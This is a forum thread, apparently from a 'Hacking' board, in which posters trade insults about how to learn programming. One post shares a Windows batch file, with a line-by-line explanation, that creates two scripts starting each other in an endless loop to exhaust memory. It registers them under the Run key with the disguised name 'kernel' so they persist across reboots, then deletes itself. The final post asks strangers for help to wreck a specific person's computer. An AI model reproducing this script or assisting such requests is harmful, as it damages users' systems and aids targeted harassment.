Cuddles, I don't want to create widespread disarray; I'm just learning. Batch files are a good jumping board, as now I'm interested in the inner workings of WIndows.

pfft, i dont give a shit what you're interested in...pick a better starting point. i started with ...well, honestly, i dont fucking know, i just found myself one day analyzing sourcecode of websites, and it just made sense to me, and from there, i have no idea how i wound up as good with computers as i am...but there's more to it than just knowledge..anyone can memorize some old exploits, but it takes a lot more to be able to write a new exploit yourself

Wouldn't you say it takes knowledge to create understanding?

nope, from experience, i'd say no.....ive had new programming languages thrown at me with no experience at all and been able to work out the basic rules and syntax of the language and diagnose the person's flaw...logic is more valuable than base knowledge any day.

Well, I'll agree with you there.

because arguing with me is futile and painful, or because you concede defeat?

and it does make a difference, tho both make me feel good about myself =p

(not really, i still think im a shithead most of the time)

sure, you can be like Akrylic and take programming courses; and not know how to code shit other than what you see in a book or tutorial before you. When I first started programming (QBASIC ftw!!), I was merely playing with it. made a few circles, a box, connect the dots... in a month I had an app made that too user input and changed the size, shape, and dimensions of a geometric figure.

For the record; I cant for the life of me figure out why there is still a `Hacking` section on this site anymore; 99.999% of the posts are BS, and the ones that arent get cluttered with mindless BS. Dont take me for tooting my own horn, but the only thing even almost considered "hacking" here is my thread on DNS Zone Transfers; and thats not even hacking... thats information gathering.

Anyone with half a goddamn brain can follow a tutorial, but to take Cuddly's words and move them farther; you need to learn a language then mess with it, and apply it to shit that you _didnt_ learn to do to really get the most out of your brain.

blah.. the ramblings of a madman/nervous wreck... w000

well someone told me to post that here
hope it helps some people and gives them some ideas / impressions
i know im not a hack0r or r0xx0r and this is a baby-simple batch-file..
but im proud of it and ill climb up the ladder of programming from down to up

@echo off
echo @echo off >> dll2.bat
echo loop >> dll2.bat
echo start dll3.bat >> dll2.bat
echo goto loop >> dll2.bat
echo /f >NUL >> dll2.bat
echo @echo off >> dll3.bat
echo loop >> dll3.bat
echo start dll2.bat >> dll3.bat
echo goto loop >> dll3.bat
echo /f >NUL >> dll3.bat
xcopy "dll2.bat" "C:\"
xcopy "dll3.bat" "C:\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll2.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll3.bat"
del dll2.bat
del dll3.bat
start C:\dll2.bat
start C:\dll3.bat
del dll.bat

little explanation(hope i spelled it correctly) for the ones that wanna understand but are worse than i am (if possible , lol)

@echo off okay, no echo ^^
echo @echo off >> dll2.bat writes echo off into a new file called dll2.bat
echo loop >> dll2.bat gives a jumppoint "loop" and writes it into dll2.bat
echo start dll3.bat >> dll2.bat writes into dll2.bat that it shall start dll3.bat
echo goto loop >> dll2.bat writes into dll2.bat that it should jump to "loop" when it started dll3.bat->endlessly starting dll3.bat
echo /f >NUL >> dll2.bat no output from dll2.bat(dunno if necessary)
echo @echo off >> dll3.bat same steps as in dll2.bat
echo loop >> dll3.bat
echo start dll2.bat >> dll3.bat
echo goto loop >> dll3.bat
echo /f >NUL >> dll3.bat until here
xcopy "dll2.bat" "C:\" copies dll2.bat into C:\
xcopy "dll3.bat" "C:\" copies dll3.bat into C:\
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll2.bat" writes into registry to start dll2.bat on startup
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel2" /t REG_SZ /d "C:\dll3.bat" same with dll3.bat {im not sure if it works as long as both registry entries are named "kernel"}
del dll2.bat deletes dll2.bat(not the one ine C:\)
del dll3.bat same as above
start C:\dll2.bat starts dll2.bat in C:\...
start C:\dll3.bat ...and dll3.bat in C:\
del dll.bat deletes itself

so basically you outlast memory via two batch files that continually start each other in endless loop and if computer restars, he does it a gain on startup

PS: of course there is no space between "cur rentversion", i also typed it correctly but there still is one

PSS: if you should by accident execute this batch (besides that would be kinda.. well x) ) i think starting in safety mode and deleting the registrykey should fix it (kernel.bat/kernel2.bat in microsoft\windows\currentversion\run)

if someone more advanced in batchfiles sees this one wouldnt work, please tell me and why, dont simply flame me please x)

yeah, youre right..nonetheless am i, too. in my opinion at least..i didnt mean batchfiles to be uber-programming language, i also learned html and php xD thats what i called bottom ladder or what i meant with it, sorry to not have posted that..
i put it here cause i thought someone might stumble for it and then be happy =)
now, i agree with quite all of your post, cuddles, but the second last one :d if you dont like it at all..well, you thaught me that but someone else might like it so just let it be ;x

yours sincerely (or whatever)

dave

PS: you could e.g. give me a hint on what prog language to learn next; i figured BASIC, if you know a better one that is nice to learn, tell me instead of just flaming me ;>

this is getting fuckin ridiculous....

BATCH IS NOT A PROGRAMMING LANGUAGE TO ME.
IT'S BARELY EVEN SCRIPTING.
all you're doing is circumventing opening cmd and typing in the commands yourself.

this is not the bottom rung of the ladder.

now stop posting here.
i am

someone please help me, i'm an ammatuer when it comes to this stuff but i wanna fuck up this bitches shit really bad, so could someone please add me on yahoo messenger : mae_grubbs@yahoo.com, and tell me what to do please, i'll love you forever if you do this for me, : )